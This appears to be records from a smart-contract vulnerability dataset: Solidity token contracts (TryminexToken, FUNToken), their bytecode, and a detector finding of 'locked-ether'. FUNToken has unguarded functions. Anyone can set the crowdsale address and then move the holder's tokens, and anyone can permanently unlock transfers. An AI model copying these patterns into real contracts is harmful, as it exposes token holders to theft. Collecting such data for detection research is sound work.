return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract TryminexToken is CappedToken, PausableToken {
string public constant name = "Tryminex Token"; // solium-disable-line uppercase
string public constant symbol = "TMX"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 0;
uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() CappedToken(MAX_SUPPLY) public {
totalSupply_ = MAX_SUPPLY;
balances[msg.sender] = MAX_SUPPLY;
emit Transfer(0x0, msg.sender, MAX_SUPPLY);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) {
return super.finishMinting();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner whenNotPaused public {
super.transferOwnership(newOwner);
}
/**
* The fallback function.
*/
function() payable public {
revert();
}
}
|
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461013857806306fdde0314610167578063095ea7b3146101f757806318160ddd1461025c57806323b872dd146102875780632ff2e9dc1461030c578063313ce5671461033757806332cb6b0c14610368578063355274ea146103935780633f4ba83a146103be57806340c10f19146103d55780635c975abb1461043a578063661884631461046957806370a08231146104ce578063715018a6146105255780637d64bcb41461053c5780638456cb591461056b5780638da5cb5b1461058257806395d89b41146105d9578063a9059cbb14610669578063d73dd623146106ce578063dd62ed3e14610733578063f2fde38b146107aa575b600080fd5b34801561014457600080fd5b5061014d6107ed565b604051808215151515815260200191505060405180910390f35b34801561017357600080fd5b5061017c610800565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bc5780820151818401526020810190506101a1565b50505050905090810190601f1680156101e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020357600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610839565b604051808215151515815260200191505060405180910390f35b34801561026857600080fd5b50610271610869565b6040518082815260200191505060405180910390f35b34801561029357600080fd5b506102f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610873565b604051808215151515815260200191505060405180910390f35b34801561031857600080fd5b506103216108a5565b6040518082815260200191505060405180910390f35b34801561034357600080fd5b5061034c6108aa565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037457600080fd5b5061037d6108af565b6040518082815260200191505060405180910390f35b34801561039f57600080fd5b506103a86108c1565b6040518082815260200191505060405180910390f35b3480156103ca57600080fd5b506103d36108c7565b005b3480156103e157600080fd5b50610420600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610987565b604051808215151515815260200191505060405180910390f35b34801561044657600080fd5b5061044f610a2f565b604051808215151515815260200191505060405180910390f35b34801561047557600080fd5b506104b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a42565b604051808215151515815260200191505060405180910390f35b3480156104da57600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a72565b6040518082815260200191505060405180910390f35b34801561053157600080fd5b5061053a610aba565b005b34801561054857600080fd5b50610551610bbf565b604051808215151515815260200191505060405180910390f35b34801561057757600080fd5b50610580610c62565b005b34801561058e57600080fd5b50610597610d23565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105e557600080fd5b506105ee610d49565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062e578082015181840152602081019050610613565b50505050905090810190601f16801561065b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561067557600080fd5b506106b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d82565b604051808215151515815260200191505060405180910390f35b3480156106da57600080fd5b50610719600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db2565b604051808215151515815260200191505060405180910390f35b34801561073f57600080fd5b50610794600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de2565b6040518082815260200191505060405180910390f35b3480156107b657600080fd5b506107eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b005b600360149054906101000a900460ff1681565b6040805190810160405280600e81526020017f5472796d696e657820546f6b656e00000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff1615151561085757600080fd5b6108618383610eed565b905092915050565b6000600154905090565b6000600560009054906101000a900460ff1615151561089157600080fd5b61089c848484610fdf565b90509392505050565b600081565b601281565b601260ff16600a0a6402540be4000281565b60045481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561092357600080fd5b600560009054906101000a900460ff16151561093e57600080fd5b6000600560006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109e557600080fd5b600360149054906101000a900460ff16151515610a0157600080fd5b600560009054906101000a900460ff16151515610a1d57600080fd5b610a278383611399565b905092915050565b600560009054906101000a900460ff1681565b6000600560009054906101000a900460ff16151515610a6057600080fd5b610a6a838361144a565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1657600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1d57600080fd5b600360149054906101000a900460ff16151515610c3957600080fd5b600560009054906101000a900460ff16151515610c5557600080fd5b610c5d6116db565b905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cbe57600080fd5b600560009054906101000a900460ff16151515610cda57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f544d58000000000000000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff16151515610da057600080fd5b610daa83836117a3565b905092915050565b6000600560009054906101000a900460ff16151515610dd057600080fd5b610dda83836119c2565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ec557600080fd5b600560009054906101000a900460ff16151515610ee157600080fd5b610eea81611bbe565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561101c57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561106957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110f457600080fd5b611145826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d8826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112a982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113f757600080fd5b600360149054906101000a900460ff1615151561141357600080fd5b60045461142b83600154611d2f90919063ffffffff16565b1115151561143857600080fd5b6114428383611d4b565b905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561155b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115ef565b61156e8382611d1690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173957600080fd5b600360149054906101000a900460ff1615151561175557600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156117e057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561182d57600080fd5b61187e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611911826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611a5382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c5657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611d2457fe5b818303905092915050565b60008183019050828110151515611d4257fe5b80905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611da957600080fd5b600360149054906101000a900460ff16151515611dc557600080fd5b611dda82600154611d2f90919063ffffffff16565b600181905550611e31826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820b57fac7c44eab5cb58b7a7f054598f69257f2fed554fab4696a81bf100c839e40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,772 |
0x9dd37498b50c1b14ff33327897d7b1a430ac34df
|
pragma solidity ^0.4.22;
// File: contracts/zeppelin/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
event OwnershipTransferred(address oldOwner, address newOwner);
}
contract FUNToken is Ownable { //ERC - 20 token contract
using SafeMath for uint;
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
string public constant symbol = "FUN"; // solium-disable-line uppercase
string public constant name = "THEFORTUNEFUND"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
/** @dev maximum token supply
*/
uint256 _totalSupply = 88888888 ether;
// Balances for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) { //standart ERC-20 function
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {//standart ERC-20 function
return balances[_owner];
}
// @dev is token transfer is locked
bool public locked = false;
// @dev is token transfer can be changed
bool public canChangeLocked = true;
/**
* @dev change lock transfer token ('locked')
* @param _request true or false
*/
function changeLockTransfer (bool _request) public onlyOwner {
require(canChangeLocked);
locked = _request;
}
/**
* @dev final unlock transfer token ('locked' and 'canChangeLocked')
* Makes for crypto exchangers to prevent the possibility of further blocking
*/
function finalUnlockTransfer () public {
require (canChangeLocked);
locked = false;
canChangeLocked = false;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _amount The amount to be transferred.
*/
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(this != _to);
require (_to != address(0));
require(!locked);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender,_to,_amount);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns(bool success){
require(this != _to);
require (_to != address(0));
require(!locked);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from,_to,_amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount)public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender)public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/** @dev Token cunstructor
*/
constructor () public {
owner = 0x85BC7DC54c637Dd432e90B91FE803AaA7744E158;
tokenHolder = 0x85BC7DC54c637Dd432e90B91FE803AaA7744E158;
balances[tokenHolder] = _totalSupply;
}
// @dev Address which contains all minted tokens
address public tokenHolder;
// @dev Crowdsale contract address
address public crowdsaleContract;
/**
* @dev setting 'crowdsaleContract' variable. Call automatically when crowdsale contract deployed
* throws 'crowdsaleContract' already exists
*/
function setCrowdsaleContract (address _address) public{
require(crowdsaleContract == address(0));
crowdsaleContract = _address;
}
//@dev How many tokens crowdsale contract has to sell
uint public crowdsaleBalance = 77333333 ether; //Tokens
/**
* @dev gets `_address` and `_value` as input and sells tokens to '_address'
* throws if not enough tokens after calculation
*/
function sendCrowdsaleTokens (address _address, uint _value) public {
require(msg.sender == crowdsaleContract);
balances[tokenHolder] = balances[tokenHolder].sub(_value);
balances[_address] = balances[_address].add(_value);
crowdsaleBalance = crowdsaleBalance.sub(_value);
emit Transfer(tokenHolder,_address,_value);
}
/// @dev event when someone burn Tokens
event Burn(address indexed burner, uint tokens);
/**
* @dev `_value` as input and burn tokens
* throws if message sender has not enough tokens after calculation
*/
function burnTokens (uint _value) external {
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Transfer(msg.sender, 0, _value);
emit Burn(msg.sender, _value);
}
}
|
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d357806318160ddd1461023857806323b872dd14610263578063313ce567146102e85780633161639514610319578063420a83e71461037057806342ae0a16146103c75780635d216562146103f25780636596cff31461042157806366188463146104645780636d1b229d146104c957806370a08231146104f65780638da5cb5b1461054d57806395d89b41146105a45780639c1f020a14610634578063a9059cbb14610681578063cf0cb613146106e6578063cf309012146106fd578063d4ee1d901461072c578063d73dd62314610783578063dd62ed3e146107e8578063f2fde38b1461085f578063f6729bf2146108a2575b600080fd5b34801561014f57600080fd5b506101586108d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019857808201518184015260208101905061017d565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b5061021e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061090a565b604051808215151515815260200191505060405180910390f35b34801561024457600080fd5b5061024d6109fc565b6040518082815260200191505060405180910390f35b34801561026f57600080fd5b506102ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a06565b604051808215151515815260200191505060405180910390f35b3480156102f457600080fd5b506102fd610d44565b604051808260ff1660ff16815260200191505060405180910390f35b34801561032557600080fd5b5061032e610d49565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561037c57600080fd5b50610385610d6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103d357600080fd5b506103dc610d95565b6040518082815260200191505060405180910390f35b3480156103fe57600080fd5b5061041f600480360381019080803515159060200190929190505050610d9b565b005b34801561042d57600080fd5b50610462600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e2e565b005b34801561047057600080fd5b506104af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ecf565b604051808215151515815260200191505060405180910390f35b3480156104d557600080fd5b506104f460048036038101908080359060200190929190505050611160565b005b34801561050257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b1565b6040518082815260200191505060405180910390f35b34801561055957600080fd5b506105626112fa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105b057600080fd5b506105b961131f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105f95780820151818401526020810190506105de565b50505050905090810190601f1680156106265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561064057600080fd5b5061067f60048036038